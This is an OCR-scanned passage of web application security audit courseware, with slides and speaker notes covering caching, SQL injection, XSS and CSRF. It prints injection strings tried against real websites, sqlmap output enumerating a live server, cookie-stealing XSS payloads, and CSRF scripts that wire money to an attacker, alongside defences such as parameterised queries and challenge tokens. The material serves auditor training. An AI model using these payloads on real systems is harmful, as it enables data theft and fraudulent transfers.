• 
• 
• 
• 
• 
• 
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Sensitive Output Anticaching 

• Map the web application by 
performing each transaction and 
view all pages with sensitive data: 
—Record all traffic (HTTP and HTML): 

• For example, WebScarab, Burp and more 

• For each instance of sensitive data 
displayed, determine if anticaching 
techniques were used (next slide) 

(*( 
	

-)1 1 C 11 1 ( 

Here is yet another audit technique that requires us to walk the application and record all traffic for further 
analysis. 

• • 
• 
• 
• • 
• • • • • • 
• • 
• 
• • 
• 
• • • • 
• 
• If any of these cached pages contain sensitive data, that might be a security issue (depending on how sensitive 
• the data is). 

• So after you walk the site and manually mirror each page and transaction, how can you tell if the web server 
• were trying to prevent your browser from caching? See the next slide for the answer. 

• 

• • 
• 
• 
• 
• 
• • • 
• • 
• 
• 
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Recommendations for Caching: 
How to Prevent Caching 

• To prevent proxy caching 
use SSL 

• To prevent browser caching 
(best approach): 
— Use the HTTP "Expires" 

header with a past date 
— e.g., Expires: Monday 01- 

Jan-80 12:00:00 GMT 

• Another approach (HTML): 
— <meta http-equiv="pragma" 

contenteno-cache"> 

• Another HTTP header: 
— Cache-Control: private, 

max-age=0, no-cache 

• Educate users about 
downloaded data: 
— e.g., "After downloading 

your Quicken files please 
keep them in a safe 
place..." 

• Web server specific settings: 
— https://www.mnot.net/cache  

docs/ 

p )lic 

• •
  •  

• •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
 • •

 • •
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 • •

 • •
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Rather than relying on the user to have the proper client-side settings, we focus our efforts on server-side 
techniques to try to prevent web browser caching. 

The HTTP Expires header field gives the date and time after which the page should be considered stale. This 
allows information providers to suggest a date after which the information may no longer be valid. Web 
browsers prefer not to cache the page beyond the date given. Therefore, if the date given in the Expires header 
is equal to or earlier than the current date and time, the recipient (that is, web browser) will not cache the page. 

Another method that works well is to insert a <meta http-equiv---`pragma' content—'no-cache'> header into the 
HTML of the pages that you are sending to the client. Yet another method is to send a Cache-Control:private 
HTTP header using the server (or from the web application). 

Alternatively, you can warn your users about clearing their browser's cache manually. Using server techniques 
to prevent caching is preferred. (Don't trust the user to do the right thing.) 
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Input Testing and SQL 

• Best practice: Filter absolutely 
everything 

• Potentially negative impact: 
—Alternative options (Done) 
—Session cloning (Done) 
—SQL Injection 

Of course, sending invalid input can cause other harm. Earlier in this section we looked at the effects of 
sending alternative options, illegal options, or fiddling with the session IDs, which are all manipulations of the 
user input. This last variation of that theme also takes advantage of information that is sometimes sent back 
from the code in the form of error messages. 

When it comes to sensitive output, programmers sometimes miss that error messages can be extremely 
sensitive, not to mention unprofessional looking. For this reason, we prefer to see some generic "Site is 
unavailable" message rather than a detailed error message sent to the user. Let's examine what could happen if 
we allow error messages to go back to the client. 
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SQL Injection Intro (1) 

• Assume: 
—SELECT * FROM table WHERE 

field=3q' 
—Dynamic SQL 
—$q is user input 
—What happens when... 

\ udr r i ng  \Ve 	
\PPlwari 

Let's walk through a brief tutorial explaining the basics of SQL injection. The idea behind it is that the user 
has the opportunity to control the actual SQL statement that is going to be executed on the server. 

When you hear that description you may think, "Well, doesn't that happen all the time?" The answer is, "Yes," 
but we're not talking about just manipulating the search term, but instead we're talking about manipulating the 
actual SQL that's being executed. 

To contextualize this discussion, consider the SQL statement in the slide. This statement selects all the 
columns from the table where the value of $q appears in the field column. The question is whether there are 
interesting values for $q that can cause unexpected application behavior. The way that this has been written 
we have a dynamic SQL query. In other words, the SQL statement changes dynamically within the running 
application. 
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SQL Injection Intro (2) 

• Assume: 
—SELECT * FROM table WHERE 

field=1q 1  
— $q=test 

• SELECT * FROM table WHERE 
field=lesf 

pp ii 

Before we start trying to break this, let's see how it would work normally. In this case, the user has entered the 
value test. Reasonably, the SQL statement ends up being, effectively, SELECT * FROM table WHERE 
fielck`tese. 

This is straightforward. Whatever input the user sends is going to be put into the SQL statement, replacing the 
$q variable. 
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SQL Injection Intro (3) 

• Assume: 
—SELECT * FROM table WHERE 

—$q=' 
• SELECT * FROM table WHERE field=" 

—SQL Error! 
—Why? 

t i n  \\'c ' ) 	scd 	Cal101IS 

Let's make a small change. One of the most reliable ways to test for SQL injection vulnerabilities is to try to 
inject a single or double quotation mark and then see what happens. In the slide, we are now assuming that the 
user has submitted a single quotation mark. This value is assigned into $q. $q is then dynamically interpreted 
in the SQL statement, resulting in the query in the slide. 

What happens when this dynamic query is executed? A SQL error occurs. Whether the user of the application 
can see the results of the SQL error is a different story, but it is quite likely that there will be some observable 
change in behavior. Why is this a SQL error? 

The answer is that computers tend to require structured languages that adhere to specific syntactic and 
grammatical rules. In this case, the query is completely valid until we arrive at the single quote dangling on the 
end. There is no way that the SQL parser can process this successfully because it is not a valid SQL 
"sentence." 
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SQL Injection Intro (4) 

• Assume: 
—SELECT * FROM table WHERE 

—$q=' or 1=1 ;#— 
• SELECT * FROM table WHERE field=" 

or 1=1 ;#--' 
• What's the purpose of the ;#-- ? 
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Let's make a small adjustment to this. By adding ;#-- to the end of this, we end up with something that is more 
than likely a valid SQL statement. Now so? Because we've silenced the dangling quotation mark. 

Within SQL statements the semicolon indicates that you've arrived at the end of a single SQL statement. The 
hash mark and dashes are two alternative ways of marking a comment. The comment marker is what ultimately 
silences the quotation mark. 

Although this might work, this attempt at injection makes the assumption that the SQL server is configured to 
respond to MULTI_QUERY. This is a specific configuration and violates best practice for configuration in a 
web application environment. Does this mean that disabling MULTI_QUERY solves our injection problem? No. 
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SQL Injection Intro (5) 

• Assume: 
—SELECT * FROM table WHERE 

-$q=' or `a'=`a 
• SELECT * FROM table WHERE field=" 

or 'a' = 
• How does this improve the situation? 

'c ud \Vc 1 

Assuming that MULTI_QUERY is disabled, let's try one more time. This time we've taken a different 
approach to dealing with the quotation mark. Rather than trying to silence it, we are coopting it. 

What we've done in this example is actually add an additional search term to the original query. We're 
checking to see if the letter 'a' is equal to the letter 'a'. This, of course, is always true. However, notice that in 
what we are injecting we are not including the closing quotation mark. Instead, we are taking advantage of the 
existing quotation mark that's already in the query! 
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Injection Flaws 

• SQL Injection is just one example: 
— LDAP Injection is becoming more 

common! 
• Test for this when you see signs of SQL 

injection but can't seem to exploit it! 
• Notation is different 
• More information on LDAP tomorrow 

(Windows!) 

This covers the basics of how SQL Injection occurs. This is not, however, the only kind of injection flaw that 
might exist! 

LDAP injection is becoming more and more common. We're not going to dig deeply into LDAP injection 
here. Instead, we'll have a more complete discussion of LDAP and LDAP query notation tomorrow, to which 
we can apply these same principles. 

How do I know which kind of injection flaw I might have? First, it's not critical that an auditor can distinguish 
the two. However, if you can tell one from the other, it can have an enormous impact on the acceptance of 
your findings! The simplest advice that we can give in differentiating the two is that if you find a change in 
behavior when trying SQL injection techniques but are unable to exploit it, consider adding LDAP style 
qualifiers and see if those are more successful. 
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Here we see an Internet website where a power equipment manufacturer has made available a search engine to 
find the manuals for its products. This is a great idea. 

The one problem with this particular page is that there are no clues given as to what exactly the site wants to 
see for a model number. After trying a few legitimate numbers, we decided to take advantage of some of our 
SQL knowledge to find what we were looking for because we couldn't seem to give it a model number that it 
recognized. Take a look at what we tried on the next slide. 
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Some Documents on this site require Adobe Acrobat Reader. 
To download this software click on Mobs Acrobat Reader logo .  

You may remember from the quick SQL introduction given on the afternoon of Day 3 that you can use the % 
sign for wildcard string matches. In this case, we knew that there should be a 1500 in the model number but 
nothing else, so we decided to see if we could request %1500% to match all manuals with a 1500 in the title. 

You can see in the screen shot that this was successful! The web application produced a lot of interesting 
looking results for us. "So what?", you say. Well, look at what we did next. 
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Microsoft OLE De Provider for SOL Server error 130040.14' 

Line 1: Incorrect syntax near VW, 

/p_search. asp, line Ea 

ID 02971 
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Out of curiosity we thought we'd check to see if the site supported any other special characters. After all, if 
we're allowed to send a %, then why not a single quote? 

As you can see, the server responds with an error message, and my is it useful for an attacker. It's bad enough 
that the application does not filter these special characters, but the error message gives us all kinds of 
information. For instance, we can see that the OLE SQL driver is used to talk to what is evidently a Microsoft 
SQL server. When this sort of thing happens, there are lots of things that you might try. 
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MANUAL TYPE PANISH FRENCH.. 
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• 
• • 
• 

• 
• 
• 
• 
• 

Here you can see that we have sent the text "'or 1=1;--" What's so wonderful about this is that we do not 
generate an error message! Instead, notice that the web application sends this same text back to us as the 
model number and then proceeds to enumerate for us every entry in the database. 

• 
Now, in this case, we're just talking about pressure washer manuals. However, knowing how Microsoft SQL 
databases work, we could easily do a join against the users table or the databases table and start sucking data 

• out of the server, perhaps even obtaining user or DBA credentials! This is quite serious. 

• 
• • 
• 
• • 
• 
• 
• 
• • • 
• • 
• 
• 
• 

Let's take a step back for a moment, though. As an auditor, we would have satisfied our tests by simply 
finding that we could generate an error and that special characters were not filtered. Don't worry if you don't 
know how to extract the DBA's username and password from the database. That's not the auditor's job! What 
we have done successfully is demonstrate that there is a risk here! 
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What's Worse? 

• Having a flaw and not knowing? 

• Knowing your app is broken and not fixing it? 

' ties, I isc I 14 

He tit X.. fie Damda Soak deo 

411 	-gp  0 
0 

a 	®. 

- New User Request Form - 

Here's a good question to consider, though. What's worse, having a web application with a critical flaw and 
being unaware of it or knowing that you have a critical flaw and asking people not to exploit it? Here's a tip: 
People won't listen to you. If you have a flaw, you're in for trouble, it's just a matter of when. 

Look at this real web page from the Internet where the programmer recommends that you not send single 
quotes so that you can avoid generating an error message. Let's use this to demonstrate some other problems. 
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Go 

*** Error Adding a New User *** 

Sorry An Error Has Occurred while slugs* process your Informaton Plea 
	later 

Home 

trr,:o Inforrnan 

INSERT INTO Neauser 
(Username,Ernsi,Congrapse.Conactrstate,Mcetinsine,Consphone,POnsumUserRemarks,Recnomcomputer_name.User_tarte,Browser_type,Date_upd) 
VALUES (":".11/K,',"VN/N:NYA'.' ','Nocte,'Nont',1Tooe,'8.120i2006 822 11 PM) 

Oops ! 

• How's this for an error? 

In this particular case, if you do send a single quote (in this case we sent a single quote in every field), we got 
a very handy error message back. Not only do we know that we had a database error, but the code was helpful 
enough to show us exactly how what we sent in was used! At the bottom of the page you can clearly see the 
actual SQL that the server tried to execute! 

This is clearly bad. Now the attacker can easily craft extremely malicious requests to download copies of data, 
cause the server to initiate outbound connections to other sites to send off copies of its data, drop tables, drop 
databases, and more You name it. We can use this to illustrate one other serious issue and our last topic for the 
day. 
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SQL Injection: Hacker Steps 

• Find a change in behavior: 
- Errors 
— Response size changes 
—Page content missing 

• Fire up SQLMap 
(http://sqlmap.org ): 
—Automated SQL Injection 

exploitation/testing tool 
ludamg "cb 

In this class, we have no need to proceed any farther than identifying the change in behavior or possibly 
generating the SQL error. What, though, would an attacker do with this information? 

To ease exploitation an attacker might use a tool such as SQLMap to further test and subsequently exploit a 
vulnerable application. Using SQLMap the attacker can take the query that we have identified as causing an 
unexpected behavior or possibly a SQL error and automatically test using a wide variety of SQL injection 
techniques. These range from basic injection testing to advanced timing-based attacks that allow the tool to 
blindly retrieve data using boolean testing of the application responses. For a discussion of some of the 
techniques that can be used to attack SQL applications, consider the following article at 
http://ferruh.mavituna.com/sql-injection-cheatsheet-oku/  
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Tintolgel:sqlloe fibselxerS ./sqlmap,py -u 
'htto:/4 	 "IPSWebTracking/IPSWeb item events.aseSubmit•Subm 	temiaw555-555-01 	le.com' 
--level 5 --risk 5 -b --current-user --current-db --hostname 

el starting at 22:53:45 

[22:53:45] [INFO] resuming back-end DBMS 'arlcrosoft sql server' 
[22:53:45] [INFO] testing connection to the target URL 
solmop identified the following injection points with a total of 0 HTTP(s) requests: 
--- 
Place: GET 
Parameter: itemid 

Type: stacked queries 
Title: Microsoft SQL Server/Syboss stacked queries 
Payload: Submit-Submit6itsmid-555-555-01990example.c '; WAITFOR DELAY '0:0:5'-- 

[22:53:46] [INFO] the back-end DBMS is Microsoft SQL Server 
banner: 

Microsoft SQL Server 2066 (SP1) - 10.0.2531.0 (X64) 
Mar 29 2009 10:11:52 
Copyright (c) 1988-2008 Microsoft Corporation 
Enterprise Edition (64-bit) on Windows NT 6.1 <X64> (Build 7601: Service R2Eis 1) 

[72:53:46] [INFO] fetching current user 
current user: 	'IPSWebTrackinglogin .  
[22:53:46] [INFO] fetching current database 
current database: 	IPSWebTracking0b .  
[22:53:46] [INFO] fetching server hostname 
hostname: 	'SOF-IPS-ARCHIVE\IPSARCHIVE' 

Here's an example of SQLMap being used against a target during a penetration test. In this case, a product 
called IPS Web Tracking, an application used by a variety of postal and other package carriers for web 
tracking, was discovered to have a change in behavior when invalid data was sent in the Item ID field. The 
Item ID field in the application is what's typically called the Tracking Number for your package. In this case, 
the change in behavior was a 500 Internal Server Error. 

Now that this change in behavior has been found, SQLMap is configured to run its testing against that specific 
URL with an example set of parameters. It then progressively tests each argument sent, attempting to identify 
an exploitation opportunity. (SQLMap can also be used to test arbitrary header fields within the request. This 
is configured through various command-line options.) 

We have asked SQLMap to report back to us the banner of the SQL server, the ID of the current user, the 
name of the current database, the hostname and whether the current user is a DBA. As you can see, SQLMap 
identifies a flaw and then enumerates the following data: 

SQL Server: Microsoft SQL Server 2008 (SP1) — 10.0.251.0 (X64) 

User: 1PSWebTrackingLogin 

Database: IPSWebTrackingDb 

Hostname: "SOF-IPS-ARCHIVE\IPSARCH1VE" 

This proved that the database was vulnerable. If we so wanted we could now ask SQLMap to extract all the 
database records out of all the accessible tables, modify data in those tables, and, because it's a Microsoft SQL 
Server, probably execute code remotely. 
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SQL Injection Protection 

• There's a lot of advice out there on 
the Interwebs: 
—What isn't guaranteed to work: 

• Filtering 
• Stored procedures 

—What always works: 
• Bound (or parameterized) queries 
• In other words, no dynamic queries! 

Auditing Web Based \pplications 

So how do you actually fix a SQL injection problem? The answer is that you need to examine the coding 
practices and standards for the organization. Although input validation and sanitization is critical, it is not the 
ultimate cure for SQL injection flaws, especially because there will always be edge cases in which we are 
accepting "dangerous" content! 

The correct way to prevent this issue is through the use of bound, or parameterized, queries. Another way of 
saying this is that we are no longer using dynamic SQL statements! The way that this happens is that we create 
a static SQL query string with markers to indicate where variables may appear. Next, we programmatically 
define what type the variables are and specify the values. It might look something like this: 

$sqlquery->query = "SELECT * FROM THERE WHERE this='?"'; 

$sqlquery->bind_params('c', $value); 

What's great about this is that enforcing this protection requires only one additional line of code for each 
query. This should be a requirement within your coding standards for all applications, not just web 
applications. 
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Injection Flaws: 
Changing Context 
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HTTPF 

Injection flaws, in general, are all about convincing something (like a web browser) to interpret what should 
have been data in some other context. In the slide, for instance, we can see that we have substituted HTML 
into the query argument. What's the result? Can you see what this has caused to happen to the word "test?" 
The content <H 1>test</h I> was submitted as data, but because of how the application sends back the content 
to the browser for rendering, it is interpreted as code rather than data. 

What if we were to send something more significant than some innocuous HTML? 
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Just reformatting text on a page is mildly interesting, but what happens when we follow the example of SQL 
injection and insert actual code? Specifically, what could we do if we injected JavaScript? The easy answer is, 
"Bad things." XSS is, unfortunately, common to find. It's also not enough to assume that big companies with a 
lot of web experience are well protected. For example, in May 2014, XSS vulnerabilities were discovered on 
both the eBay and VMWare websites. Let's examine the VMWare vulnerability and see how it can be 
leveraged for reflected XSS. 

For XSS to be successful, the client side must send code to the server that will then be reflected back to the 
client. That reflection might occur as a result of clicking o a URL, opening an HTML e-mail, or looking at a 
posting on a web biog. Whatever the case, someone has found a site where the page will store and return 
exactly what is sent in with no filtering. 

There is one other requirement. There must actually be something useful on that page that the attacker wants. 
This could be a session ID (in a URL, hidden form element, or cookie) or some piece of sensitive information 
such as a credit card number. These can, of course, be stored in the same ways. 
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Notice that we've zoomed in on the URL and toolbar. You can see that, unlike the last slide, a new window 
has popped open to Google. That Google page has a query already set in the URL, and you can see the content 
of it in the search field on the page (which is blown up on the bottom of the slide). 

In this case, we've chosen an innocuous kind of attack in that we have attacked ourselves and revealed our 
own cookie. There are two big questions: What made this happen? and Why is this important? Let's examine 
those two questions. 
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What Did That? 

• ...nt/26338_nsx_apj_cities?src=%22%3E% 
3CBODY%200NLOAD=window.open%2 
8%22http://google.com ?query=%22+docum 
ent.cookie%29%3E 
— .../26338_nsx_apj_cities?src="><BODY 

ONLOAD=window.open("http://google.com  
?query=" document.cookie)> 

\ P icy now-, 

The answer to what did that is in this slide. We've removed part of the URL so that we could squeeze 
everything onto the screen. The first bullet is probably tricky to understand; you can see that there are a number 
of hexadecimally encoded values that have been inserted. The second bullet, though, should be much easier to 
understand. Here you can clearly see this content: "><BODY 
ONLOAD=window.open("http://google.com ?query=" document.cookie)> What this is doing is escaping out of 
an existing tag (">) and then adding a JavaScript condition for the main Body tag, causing a new window to 
open whenever this page displays. That new page will go to Google and send the cookie for the current page to 
Google as a search term. 

Hopefully, your gears are turning at this point and you're beginning to see why this is so bad. Let's consider an 
alternative set of values to insert. 
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Why Did That Work? 

• Under the hood: 
—User's input is put into a form field: 

• <input type=text value="USER_INPUT"> 

—What was sent: 
• "/><BODY ONLOAD=... 

—This becomes: 
• <input type=text value=""/><BODY ONLOAD=... 
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Let's look at this one more time to make sure that we understand what's happening in there. The user sends 
input that represents HTML and JavaScript code. Normally, this would have no impact because the application 
treats it as data. However, the user has discovered that there is a way to change the context of the "data" so 
that it will now be interpreted as code in the browser. In reality, this is precisely what is happening in SQL 
injection, except that in SQL injection the server interprets data as code, whereas here the client is interpreting 
data as code. 

Under the hood, the input value that was sent is added to the displayed web page as the value of an input field. 
When the input field is rendered with the XSS code inside of it, the first few characters ("I>) are there to 
switch the context from data to code. When that's done, the sky's the limit! 

In searching for XSS flaws, the most common test is to simply fire off an alert using 'alert ( 1) .' That's the 
easy part. The harder part is looking at and thinking about how the application handles the data and 
discovering what additional characters might be necessary to force the application to send the data back in a 
code context. 
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XSS: So What? 

• What if we sent: 
— "><BODY 

ONLOAD=window.open("http://westernunion.com  
?func=transfer&amount=100&to=attackeraccount 

number)> 
• Worse, what if we did something like this: 

— "><IMG 
SRC="http://westernunion.com ?func=transfer&am 
ount=100&to=attacker_account_number> 

— Now it won't even try to open a new window (or 
popup) which lots of people block! 

• But this is venturing into CSRF territory 

pplications 

To weaponize XSS we have a few requirements. First, the site must have an injection flaw that is either 
reflected or stored. Second, either the site in question must have something valuable that I want to steal (like a 
session ID) or it has to be reasonably likely to be something that people will click, allowing me to send another 
payload. 

Consider the examples in the slide. In this case, we are now using VMWare's website to reflect queries over to 
Western Union to transfer funds to our account! Obviously, this succeeds only if the individual who clicks our 
link has an account with Western Union and then only if they have logged in recently and still have a logged 
on session. 

In point of fact, in this particular case, we're starting to blur the lines a little bit. What we're doing in this case 
is leveraging a cross-site request to do something malicious; though no actual JavaScript is involved. Let's 
table this for a moment and wrap up XSS before we jump into CSRF. 
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Browsers and XSS 

• Be extremely careful when 
checking for XSS flaws! 
—Several modern browsers have built-

in protections! 
• 1E9+ 
• Safari 

—Check the source code of the page 
for success! 

1 ,  

It is extremely important to note that recent changes to browsers have served to increase security. This same 
improvement, however, can cause us to overlook XSS errors in our sites! 

The newest versions of 1E and Safari both have basic XSS protections built in. Although this is fantastic news, 
we have no guarantees when it comes to the version or brand of browser that our users might be using. If we 
do all our testing with the most modern version of the browser, our site might actually have a flaw that we will 
not see because of our new browser! As a result, we suggest that when you test for XSS problems you should 
actually view the source code for the page to see if the JavaScript was sent to the browser rather than relying 
on a window opening. 
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XSS Types 

• Two types: 
—Persistent (or Stored): 

• Blog posting, comment, and so on 

—Non-persistent (or Reflected): 
• Typically in the URL of a GET request 

Web st:d 

There are two main types of XSS flaws today. The first type is a Persistent or Stored XSS flaw. This means 
that the application accepts input that will be stored, likely in a database, and later displayed back to users. 
You could imagine this being a situation in which a blog enables a user to submit unfiltered input that will 
later be displayed back to other users who view that blog article. When the other users view the article, the 
code that the first user submitted will be sent to them and executed within their browser. 

The second type is Non-persistent or Reflected. In this case, the attack vector is usually through a GET 
request; though this is not a requirement. Imagine a site that accepts a search term and that the search term is 
then "reflected" back to the user and displayed on the results page. If that search term is sent back without any 
filtering, it could easily lead to code execution within the context of the user's browser. 
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CSRF 

• Cross Site Request Forgery: 
—Confused Deputy: A better name! 
—Convincing your browser to do 

something on your behalf 
— Usually, some level of user interaction 

is required: 
• This doesn't mean you'll realize what's 

happening!! 

\ild ti t 	\\ 

Cross Site Request Forgery is a problem that has existed for a long time but has only recently been getting a 
great deal of attention. I think that one of the reasons that it hasn't had much attention until now is that we had 
so many things that were easier to exploit! Another is that fixing this problem isn't as easy as fixing most of 
the other problems that we have. 

The basic idea is that an attacker embeds code onto one web page that convinces your browser to go to another 
site and take some action on your behalf. For this to work the user being attacked must have valid credentials 
on the target site, and the user must be currently authenticated or have credentials in the form of a cookie (or 
possibly have the username and password stored in a password cache). Of course, there has to be something 
worth attacking, too, but that's usually a low threshold to overcome. 

What's so interesting about this attack is that the person being compromised may have no indication that it's 
happening! 
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CSRF Example 

• Compromised site has the following 
image tag: 
— <img width=1 height=1 

src=http://vulnsite.com/WireMoney?To=attacker&a  
mount=1000> 

• Effects: 
- 1x1 box: Invisible 
— Request to "WireMoney" for 1000 
— Existing credentials used (if available) 

\pplicarions 

As a simple example, the original CSRF problem that was discussed in 1998 had to do with an image tag 
referencing something that wasn't an image. (CSRF was actually first discussed in 1998 as a "Confused 
Deputy" problem). 

In our example, the image tag, which would normally point to an image or something that would produce an 
image, is instead referring to another web application. In this case, we're using an imaginary wire transfer 
application that takes a destination account number and an amount of money to transfer. Notice that the source 
URL is a properly formatted URL for that fictional application. Also notice that the image is set to a width and 
height of 1 pixel. The effect of this will be a single dot on our browser window that will look like a screen 
artifact or a period. Notably, it will not look like a broken image tag! 

For this to work, remember that the user who is browsing the site would need existing credentials stored in a 
cookie or in the browser. If the user doesn't have credentials, there won't be a transfer, but there also won't be 
an error. The beauty of this attack is that embedding this image tag someplace such as eBay could result in 
hundreds of thousands of hits. The more hits we get, the better the chance that we'll find someone who it 
works against. Targeted attacks will, of course, increase the success rate. 
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Another CSRF Example 

• Will a POST make us immune? 
<script> 

var post_data = 'To=attacker;Amount=1000'; 
var xmlhttp=new ActiveXObject("microsoft.xmliTTP"); 
xmlhttp.open("POST", 'http://westernunion.com/transfer',  true); 
xmlhttp.onreadystatechange = function () { 

if (xmlhttp.readyState == 4) 

alert(xmlhttp.responseText); 

}; 
xmlhttp.send(post_data); 

</script> 

uditing Web R. 	\pplicarion- 

The most common myth that programmers believe about CSRF is that their applications are not affected 
because they are using POST for all their submissions. It is excellent that they are using a POST, but this does 
nothing to solve the problem. In this slide, we have included some JavaScript for Internet Explorer that could 
be embedded on a page, in an image tag, or virtually any other kind of tag. This JavaScript launches exactly 
the same attack as the previous slide but this time uses a POST rather than a GET! 

The details of how to create a CSRF attack are not important for us. What is important is understanding that 
simply changing an application to use a POST will not solve this problem. Of course, this script could easily 
be adapted to any application where a POST is required. 
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How to Protect? 

• Understand the problem: 
— If you have questions, ask now!! 

• Use a challenge token in page 
submissions: 
—Make sure it's unique to this session! 
— Beware that some frameworks do 

this, but it gets disabled!!! 

Biting \\eb  B I 
	

ions 

The first step toward fixing this problem is understanding it. Most often I find that the programmers don't get 
what's happening here. If they don't understand and we don't understand, how can we possibly explain it to 
them? If you have questions about what this is and how it works, now is the time to ask! 

Here are a couple of useful references that describe the problem well: 

• http://www.cgisecurity.comicsrf-faq.html  

• http://www.owasp.org/index.php/CSRF  

When we understand the problem, we can write some code. The best solution to this problem right now is to 
use some type of challenge response token for sensitive page submissions. As a caution, I've seen instances in 
which the coders tried to do this and created a random challenge that could be verified, but it wasn't tied to the 
user session in any way. In other words, the attacker could go to your site, collect a valid token, insert it into 
another transaction, and successfully exploit the application! This means that the token must be tied to the 
current user session in some way, possibly by using the user ID, session ID, or some internal value related to 
the user as a key for the token. 

Some frameworks have incorporated solutions to this. For example, Ruby on Rails 2.3 incorporates challenge 
tokens by default. "Great!" you say. You might think that migrating to Ruby on Rails would solve your 
problem. The trouble is that most of the authentication packages that we lay on top of Ruby on Rails require 
that you disable these tokens or they won't work properly! 

170 	 © 2016 David Hoelzer & Enclave Forensics TM 



Wrap Up 

• Remember the top five fixes? 
• How would we do if we took care of 

these things: 
— Input validation and sanitization 
— Error checking and handling 
— Robust session management 
— Complete mediation of the application 
— Multi-tier solution 

If you remember, when we started our day out, we laid out just five items that, if they were done well, they 
would mean that your web application was fairly secure. At this point, we've completed all our courseware for 
the day. Can you see how these five issues fit into what was discussed? You should now have a good handle 
on how to go about testing for each of these, and much more. You should also be in a position to offer better 
feedback to the web application designers, helping them to understand why these items are such critical issues. 
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The Story So Far 

• Checklist Items: 
- Input: 

• How is input to the application sanitized? 
• Is input sanitized in all cases, even if some cases have less restrictive rules? 
• Is sensitive information always sent using a POST rather than a GET? 
• How robust is the application when dealing with unexpected or illegal input? 

— Output: 
• How are error conditions handled? 
• Is it possible to cause the application to generate an unhandled error? 
• Is encryption used in all cases in which sensitive information is returned? 
• Are there any anticaching techniques in use when sensitive information is 

returned? 
• Are all special characters properly stripped or escaped when returned in a web 

page? 

\ 	\\ e1 	tsed p 	-at ton:, 

From the material in this section, we can now add several more important questions to our checklist. We can 
also now test these items technically or understand the responses to these questions when asked of the web 
application designer. 

Input: 
How is input to the application sanitized? 

Is input sanitized in all cases, even if some cases have less restrictive rules? 

Is sensitive information always sent using a POST rather than a GET? 

How robust is the application when dealing with unexpected or illegal input? 

Output: 
How are error conditions handled? 

Is it possible to cause the application to generate an unhandled error? 

Is encryption used in all cases in which sensitive information is returned? 

Are there any anticaching techniques in use when sensitive information is returned? 

Are all special characters properly stripped or escaped when returned in a web page? 
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Please continue in your workbook wherever you left off and work through to the end of the web application 
exercises! 
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